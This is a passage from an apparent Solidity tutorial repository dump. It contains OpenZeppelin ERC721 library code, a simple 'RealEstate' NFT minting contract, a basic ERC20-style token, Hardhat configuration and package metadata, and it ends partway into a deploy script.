_owners[tokenId]; 704 | require(owner != address(0), "ERC721: owner query for nonexistent token"); 705 | return owner; 706 | } 707 | 708 | /** 709 | * @dev See {IERC721Metadata-name}. 710 | */ 711 | function name() public view virtual override returns (string memory) { 712 | return _name; 713 | } 714 | 715 | /** 716 | * @dev See {IERC721Metadata-symbol}. 717 | */ 718 | function symbol() public view virtual override returns (string memory) { 719 | return _symbol; 720 | } 721 | 722 | /** 723 | * @dev See {IERC721Metadata-tokenURI}. 724 | */ 725 | function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { 726 | require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); 727 | 728 | string memory baseURI = _baseURI(); 729 | return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; 730 | } 731 | 732 | /** 733 | * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each 734 | * token will be the concatenation of the `baseURI` and the `tokenId`. Empty 735 | * by default, can be overriden in child contracts. 736 | */ 737 | function _baseURI() internal view virtual returns (string memory) { 738 | return ""; 739 | } 740 | 741 | /** 742 | * @dev See {IERC721-approve}. 743 | */ 744 | function approve(address to, uint256 tokenId) public virtual override { 745 | address owner = ERC721.ownerOf(tokenId); 746 | require(to != owner, "ERC721: approval to current owner"); 747 | 748 | require( 749 | _msgSender() == owner || isApprovedForAll(owner, _msgSender()), 750 | "ERC721: approve caller is not owner nor approved for all" 751 | ); 752 | 753 | _approve(to, tokenId); 754 | } 755 | 756 | /** 757 | * @dev See {IERC721-getApproved}. 758 | */ 759 | function getApproved(uint256 tokenId) public view virtual override returns (address) { 760 | require(_exists(tokenId), "ERC721: approved query for nonexistent token"); 761 | 762 | return _tokenApprovals[tokenId]; 763 | } 764 | 765 | /** 766 | * @dev See {IERC721-setApprovalForAll}. 767 | */ 768 | function setApprovalForAll(address operator, bool approved) public virtual override { 769 | _setApprovalForAll(_msgSender(), operator, approved); 770 | } 771 | 772 | /** 773 | * @dev See {IERC721-isApprovedForAll}. 774 | */ 775 | function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { 776 | return _operatorApprovals[owner][operator]; 777 | } 778 | 779 | /** 780 | * @dev See {IERC721-transferFrom}. 781 | */ 782 | function transferFrom( 783 | address from, 784 | address to, 785 | uint256 tokenId 786 | ) public virtual override { 787 | //solhint-disable-next-line max-line-length 788 | require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); 789 | 790 | _transfer(from, to, tokenId); 791 | } 792 | 793 | /** 794 | * @dev See {IERC721-safeTransferFrom}. 795 | */ 796 | function safeTransferFrom( 797 | address from, 798 | address to, 799 | uint256 tokenId 800 | ) public virtual override { 801 | safeTransferFrom(from, to, tokenId, ""); 802 | } 803 | 804 | /** 805 | * @dev See {IERC721-safeTransferFrom}. 806 | */ 807 | function safeTransferFrom( 808 | address from, 809 | address to, 810 | uint256 tokenId, 811 | bytes memory _data 812 | ) public virtual override { 813 | require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); 814 | _safeTransfer(from, to, tokenId, _data); 815 | } 816 | 817 | /** 818 | * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients 819 | * are aware of the ERC721 protocol to prevent tokens from being forever locked. 820 | * 821 | * `_data` is additional data, it has no specified format and it is sent in call to `to`. 822 | * 823 | * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. 824 | * implement alternative mechanisms to perform token transfer, such as signature-based. 825 | * 826 | * Requirements: 827 | * 828 | * - `from` cannot be the zero address. 829 | * - `to` cannot be the zero address. 830 | * - `tokenId` token must exist and be owned by `from`. 831 | * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. 832 | * 833 | * Emits a {Transfer} event. 834 | */ 835 | function _safeTransfer( 836 | address from, 837 | address to, 838 | uint256 tokenId, 839 | bytes memory _data 840 | ) internal virtual { 841 | _transfer(from, to, tokenId); 842 | require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); 843 | } 844 | 845 | /** 846 | * @dev Returns whether `tokenId` exists. 847 | * 848 | * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. 849 | * 850 | * Tokens start existing when they are minted (`_mint`), 851 | * and stop existing when they are burned (`_burn`). 852 | */ 853 | function _exists(uint256 tokenId) internal view virtual returns (bool) { 854 | return _owners[tokenId] != address(0); 855 | } 856 | 857 | /** 858 | * @dev Returns whether `spender` is allowed to manage `tokenId`. 859 | * 860 | * Requirements: 861 | * 862 | * - `tokenId` must exist. 863 | */ 864 | function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { 865 | require(_exists(tokenId), "ERC721: operator query for nonexistent token"); 866 | address owner = ERC721.ownerOf(tokenId); 867 | return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); 868 | } 869 | 870 | /** 871 | * @dev Safely mints `tokenId` and transfers it to `to`. 872 | * 873 | * Requirements: 874 | * 875 | * - `tokenId` must not exist. 876 | * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. 877 | * 878 | * Emits a {Transfer} event. 879 | */ 880 | function _safeMint(address to, uint256 tokenId) internal virtual { 881 | _safeMint(to, tokenId, ""); 882 | } 883 | 884 | /** 885 | * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is 886 | * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. 887 | */ 888 | function _safeMint( 889 | address to, 890 | uint256 tokenId, 891 | bytes memory _data 892 | ) internal virtual { 893 | _mint(to, tokenId); 894 | require( 895 | _checkOnERC721Received(address(0), to, tokenId, _data), 896 | "ERC721: transfer to non ERC721Receiver implementer" 897 | ); 898 | } 899 | 900 | /** 901 | * @dev Mints `tokenId` and transfers it to `to`. 902 | * 903 | * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible 904 | * 905 | * Requirements: 906 | * 907 | * - `tokenId` must not exist. 908 | * - `to` cannot be the zero address. 909 | * 910 | * Emits a {Transfer} event. 911 | */ 912 | function _mint(address to, uint256 tokenId) internal virtual { 913 | require(to != address(0), "ERC721: mint to the zero address"); 914 | require(!_exists(tokenId), "ERC721: token already minted"); 915 | 916 | _beforeTokenTransfer(address(0), to, tokenId); 917 | 918 | _balances[to] += 1; 919 | _owners[tokenId] = to; 920 | 921 | emit Transfer(address(0), to, tokenId); 922 | 923 | _afterTokenTransfer(address(0), to, tokenId); 924 | } 925 | 926 | /** 927 | * @dev Destroys `tokenId`. 928 | * The approval is cleared when the token is burned. 929 | * 930 | * Requirements: 931 | * 932 | * - `tokenId` must exist. 933 | * 934 | * Emits a {Transfer} event. 935 | */ 936 | function _burn(uint256 tokenId) internal virtual { 937 | address owner = ERC721.ownerOf(tokenId); 938 | 939 | _beforeTokenTransfer(owner, address(0), tokenId); 940 | 941 | // Clear approvals 942 | _approve(address(0), tokenId); 943 | 944 | _balances[owner] -= 1; 945 | delete _owners[tokenId]; 946 | 947 | emit Transfer(owner, address(0), tokenId); 948 | 949 | _afterTokenTransfer(owner, address(0), tokenId); 950 | } 951 | 952 | /** 953 | * @dev Transfers `tokenId` from `from` to `to`. 954 | * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. 955 | * 956 | * Requirements: 957 | * 958 | * - `to` cannot be the zero address. 959 | * - `tokenId` token must be owned by `from`. 960 | * 961 | * Emits a {Transfer} event. 962 | */ 963 | function _transfer( 964 | address from, 965 | address to, 966 | uint256 tokenId 967 | ) internal virtual { 968 | require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); 969 | require(to != address(0), "ERC721: transfer to the zero address"); 970 | 971 | _beforeTokenTransfer(from, to, tokenId); 972 | 973 | // Clear approvals from the previous owner 974 | _approve(address(0), tokenId); 975 | 976 | _balances[from] -= 1; 977 | _balances[to] += 1; 978 | _owners[tokenId] = to; 979 | 980 | emit Transfer(from, to, tokenId); 981 | 982 | _afterTokenTransfer(from, to, tokenId); 983 | } 984 | 985 | /** 986 | * @dev Approve `to` to operate on `tokenId` 987 | * 988 | * Emits a {Approval} event. 989 | */ 990 | function _approve(address to, uint256 tokenId) internal virtual { 991 | _tokenApprovals[tokenId] = to; 992 | emit Approval(ERC721.ownerOf(tokenId), to, tokenId); 993 | } 994 | 995 | /** 996 | * @dev Approve `operator` to operate on all of `owner` tokens 997 | * 998 | * Emits a {ApprovalForAll} event. 999 | */ 1000 | function _setApprovalForAll( 1001 | address owner, 1002 | address operator, 1003 | bool approved 1004 | ) internal virtual { 1005 | require(owner != operator, "ERC721: approve to caller"); 1006 | _operatorApprovals[owner][operator] = approved; 1007 | emit ApprovalForAll(owner, operator, approved); 1008 | } 1009 | 1010 | /** 1011 | * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. 1012 | * The call is not executed if the target address is not a contract. 1013 | * 1014 | * @param from address representing the previous owner of the given token ID 1015 | * @param to target address that will receive the tokens 1016 | * @param tokenId uint256 ID of the token to be transferred 1017 | * @param _data bytes optional data to send along with the call 1018 | * @return bool whether the call correctly returned the expected magic value 1019 | */ 1020 | function _checkOnERC721Received( 1021 | address from, 1022 | address to, 1023 | uint256 tokenId, 1024 | bytes memory _data 1025 | ) private returns (bool) { 1026 | if (to.isContract()) { 1027 | try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { 1028 | return retval == IERC721Receiver.onERC721Received.selector; 1029 | } catch (bytes memory reason) { 1030 | if (reason.length == 0) { 1031 | revert("ERC721: transfer to non ERC721Receiver implementer"); 1032 | } else { 1033 | assembly { 1034 | revert(add(32, reason), mload(reason)) 1035 | } 1036 | } 1037 | } 1038 | } else { 1039 | return true; 1040 | } 1041 | } 1042 | 1043 | /** 1044 | * @dev Hook that is called before any token transfer. This includes minting 1045 | * and burning. 1046 | * 1047 | * Calling conditions: 1048 | * 1049 | * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be 1050 | * transferred to `to`. 1051 | * - When `from` is zero, `tokenId` will be minted for `to`. 1052 | * - When `to` is zero, ``from``'s `tokenId` will be burned. 1053 | * - `from` and `to` are never both zero. 1054 | * 1055 | * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. 1056 | */ 1057 | function _beforeTokenTransfer( 1058 | address from, 1059 | address to, 1060 | uint256 tokenId 1061 | ) internal virtual {} 1062 | 1063 | /** 1064 | * @dev Hook that is called after any transfer of tokens. This includes 1065 | * minting and burning. 1066 | * 1067 | * Calling conditions: 1068 | * 1069 | * - when `from` and `to` are both non-zero. 1070 | * - `from` and `to` are never both zero. 1071 | * 1072 | * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. 1073 | */ 1074 | function _afterTokenTransfer( 1075 | address from, 1076 | address to, 1077 | uint256 tokenId 1078 | ) internal virtual {} 1079 | } 1080 | 1081 | // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol 1082 | 1083 | 1084 | // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) 1085 | 1086 | pragma solidity ^0.8.0; 1087 | 1088 | 1089 | /** 1090 | * @dev ERC721 token with storage based token URI management. 1091 | */ 1092 | abstract contract ERC721URIStorage is ERC721 { 1093 | using Strings for uint256; 1094 | 1095 | // Optional mapping for token URIs 1096 | mapping(uint256 => string) private _tokenURIs; 1097 | 1098 | /** 1099 | * @dev See {IERC721Metadata-tokenURI}. 1100 | */ 1101 | function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { 1102 | require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); 1103 | 1104 | string memory _tokenURI = _tokenURIs[tokenId]; 1105 | string memory base = _baseURI(); 1106 | 1107 | // If there is no base URI, return the token URI. 1108 | if (bytes(base).length == 0) { 1109 | return _tokenURI; 1110 | } 1111 | // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). 1112 | if (bytes(_tokenURI).length > 0) { 1113 | return string(abi.encodePacked(base, _tokenURI)); 1114 | } 1115 | 1116 | return super.tokenURI(tokenId); 1117 | } 1118 | 1119 | /** 1120 | * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. 1121 | * 1122 | * Requirements: 1123 | * 1124 | * - `tokenId` must exist. 1125 | */ 1126 | function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { 1127 | require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); 1128 | _tokenURIs[tokenId] = _tokenURI; 1129 | } 1130 | 1131 | /** 1132 | * @dev Destroys `tokenId`. 1133 | * The approval is cleared when the token is burned. 1134 | * 1135 | * Requirements: 1136 | * 1137 | * - `tokenId` must exist. 1138 | * 1139 | * Emits a {Transfer} event. 1140 | */ 1141 | function _burn(uint256 tokenId) internal virtual override { 1142 | super._burn(tokenId); 1143 | 1144 | if (bytes(_tokenURIs[tokenId]).length != 0) { 1145 | delete _tokenURIs[tokenId]; 1146 | } 1147 | } 1148 | } 1149 | 1150 | // File: contracts/s.sol 1151 | 1152 | //SPDX-License-Identifier: Unlicense 1153 | pragma solidity ^0.8.2; 1154 | 1155 | 1156 | contract RealEstate is ERC721URIStorage { 1157 | using Counters for Counters.Counter; 1158 | Counters.Counter private _tokenIds; 1159 | 1160 | // https://rinkeby.etherscan.io/token/0x47d3d1e853ae4675c6d93e4b559572c2c0752125 1161 | // https://testnets.opensea.io/collection/real-estate-wmlf80cnw9 1162 | constructor() ERC721("Real Estate", "REAL") { 1163 | mint("https://ipfs.io/ipfs/QmTudSYeM7mz3PkYEWXWqPjomRPHogcMFSq7XAvsvsgAPS"); 1164 | } 1165 | 1166 | function mint(string memory tokenURI) 1167 | public 1168 | returns (uint256) 1169 | { 1170 | _tokenIds.increment(); 1171 | 1172 | uint256 newItemId = _tokenIds.current(); 1173 | _mint(msg.sender, newItemId); 1174 | _setTokenURI(newItemId, tokenURI); 1175 | 1176 | return newItemId; 1177 | } 1178 | } 1179 | -------------------------------------------------------------------------------- /contracts/Token.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.8.0; 3 | 4 | import "hardhat/console.sol"; 5 | 6 | contract Token { 7 | string public name; 8 | string public symbol; 9 | uint256 public decimals = 18; 10 | uint256 public totalSupply; 11 | 12 | mapping(address => uint256) public balanceOf; 13 | mapping(address => mapping(address => uint256)) public allowance; 14 | 15 | event Transfer( 16 | address indexed from, 17 | address indexed to, 18 | uint256 value 19 | ); 20 | 21 | event Approval( 22 | address indexed owner, 23 | address indexed spender, 24 | uint256 value 25 | ); 26 | 27 | constructor( 28 | string memory _name, 29 | string memory _symbol, 30 | uint256 _totalSupply 31 | ) { 32 | name = _name; 33 | symbol = _symbol; 34 | totalSupply = _totalSupply * (10**decimals); 35 | balanceOf[msg.sender] = totalSupply; 36 | } 37 | 38 | function transfer(address _to, uint256 _value) 39 | public 40 | returns (bool success) 41 | { 42 | require(balanceOf[msg.sender] >= _value); 43 | 44 | _transfer(msg.sender, _to, _value); 45 | 46 | return true; 47 | } 48 | 49 | function _transfer( 50 | address _from, 51 | address _to, 52 | uint256 _value 53 | ) internal { 54 | require(_to != address(0)); 55 | 56 | balanceOf[_from] = balanceOf[_from] - _value; 57 | balanceOf[_to] = balanceOf[_to] + _value; 58 | 59 | emit Transfer(_from, _to, _value); 60 | } 61 | 62 | function approve(address _spender, uint256 _value) 63 | public 64 | returns(bool success) 65 | { 66 | require(_spender != address(0)); 67 | 68 | allowance[msg.sender][_spender] = _value; 69 | 70 | emit Approval(msg.sender, _spender, _value); 71 | return true; 72 | } 73 | 74 | function transferFrom( 75 | address _from, 76 | address _to, 77 | uint256 _value 78 | ) 79 | public 80 | returns (bool success) 81 | { 82 | require(_value <= balanceOf[_from]); 83 | require(_value <= allowance[_from][msg.sender]); 84 | 85 | allowance[_from][msg.sender] = allowance[_from][msg.sender] - _value; 86 | 87 | _transfer(_from, _to, _value); 88 | 89 | return true; 90 | } 91 | 92 | } 93 | -------------------------------------------------------------------------------- /hardhat.config.js: -------------------------------------------------------------------------------- 1 | require("@nomicfoundation/hardhat-toolbox"); 2 | 3 | /** @type import('hardhat/config').HardhatUserConfig */ 4 | module.exports = { 5 | solidity: "0.8.9", 6 | }; 7 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "solidity_tutorial", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "gregory@dappuniversity.com", 10 | "license": "ISC", 11 | "devDependencies": { 12 | "@nomicfoundation/hardhat-toolbox": "^1.0.2", 13 | "hardhat": "^2.10.1" 14 | }, 15 | "dependencies": { 16 | "@openzeppelin/contracts": "^4.7.2" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /scripts/deploy.js: -------------------------------------------------------------------------------- 1 | // We require the Hardhat Runtime Environment explicitly here. This is optional 2 | // but useful for running the script in a standalone fashion through `node